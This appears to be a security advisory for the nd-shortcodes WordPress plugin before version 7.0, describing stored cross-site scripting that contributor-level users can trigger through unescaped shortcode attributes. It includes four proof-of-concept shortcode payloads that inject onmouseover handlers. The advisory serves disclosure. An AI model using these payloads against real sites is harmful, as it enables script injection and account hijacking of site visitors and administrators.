The plugin does not validate and escape numerous of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks
[nd_options_team nd_options_class=‘"onmouseover="alert(/XSS/)//’] [nd_options_team nd_options_color=‘"onmouseover="alert(/XSS/)//’] [nd_options_testimonial nd_options_class=‘" onmouseover=“alert(/XSS/)” style=“background:red;width:100px;height:100px;”’] [nd_options_testimonial nd_options_color=‘"onmouseover="alert(/XSS/)//’] PS: - Numerous other shortcodes were affected - The WPBakery Page Builder plugin is required to initialize the shortcodes.
CPE | Name | Operator | Version |
---|---|---|---|
nd-shortcodes | lt | 7.0 |